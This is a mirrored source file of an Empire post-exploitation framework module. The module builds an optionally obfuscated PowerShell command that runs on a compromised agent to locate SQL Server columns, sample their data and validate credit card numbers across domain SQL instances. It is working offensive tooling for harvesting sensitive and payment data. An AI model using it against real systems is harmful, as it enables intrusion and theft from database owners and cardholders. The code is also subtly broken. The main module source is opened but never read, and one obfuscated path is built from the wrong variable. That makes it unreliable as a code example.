mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
Dan McInerney
edf040e690
When CheckAll is not true the script didn't assign the str variable scriptEnd prior to trying to add to it with +=.
121 lines
4.9 KiB
Python
121 lines
4.9 KiB
Python
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'Get-SQLColumnSampleData',
|
|
'Author': ['@_nullbind', '@0xbadjuju'],
|
|
'Description': ('Returns column information from target SQL Servers. Supports '
|
|
'search by keywords, sampling data, and validating credit card '
|
|
'numbers.'),
|
|
'Background' : True,
|
|
'OutputExtension' : None,
|
|
|
|
'NeedsAdmin' : False,
|
|
'OpsecSafe' : True,
|
|
'Language' : 'powershell',
|
|
'MinPSVersion' : '2',
|
|
'MinLanguageVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'Username' : {
|
|
'Description' : 'SQL Server or domain account to authenticate with.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'Password' : {
|
|
'Description' : 'SQL Server or domain account password to authenticate with.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'Instance' : {
|
|
'Description' : 'SQL Server instance to connection to.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'NoDefaults' : {
|
|
'Description' : 'Don\'t select tables from default databases.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'CheckAll' : {
|
|
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
self.mainMenu = mainMenu
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
username = self.options['Username']['Value']
|
|
password = self.options['Password']['Value']
|
|
instance = self.options['Instance']['Value']
|
|
no_defaults = self.options['NoDefaults']['Value']
|
|
check_all = self.options['CheckAll']['Value']
|
|
scriptEnd = ""
|
|
|
|
# read in the common module source code
|
|
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1"
|
|
script = ""
|
|
if obfuscate:
|
|
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
|
script = moduleSource.replace("module_source", "obfuscated_module_source")
|
|
try:
|
|
f = open(moduleSource, 'r')
|
|
except:
|
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
|
return ""
|
|
|
|
if check_all:
|
|
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
|
|
if obfuscate:
|
|
helpers.obfuscate_module(moduleSource=auxModuleSource, obfuscationCommand=obfuscationCommand)
|
|
auxModuleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
|
try:
|
|
with open(auxModuleSource, 'r') as auxSource:
|
|
auxScript = auxSource.read()
|
|
script += " " + auxScript
|
|
except:
|
|
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
|
|
scriptEnd = " Get-SQLInstanceDomain "
|
|
if username != "":
|
|
scriptEnd += " -Username "+username
|
|
if password != "":
|
|
scriptEnd += " -Password "+password
|
|
scriptEnd += " | "
|
|
scriptEnd += " Get-SQLColumnSampleData"
|
|
if username != "":
|
|
scriptEnd += " -Username "+username
|
|
if password != "":
|
|
scriptEnd += " -Password "+password
|
|
if instance != "" and not check_all:
|
|
scriptEnd += " -Instance "+instance
|
|
if no_defaults:
|
|
scriptEnd += " -NoDefaults "
|
|
if obfuscate:
|
|
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
|
script += scriptEnd
|
|
return script
|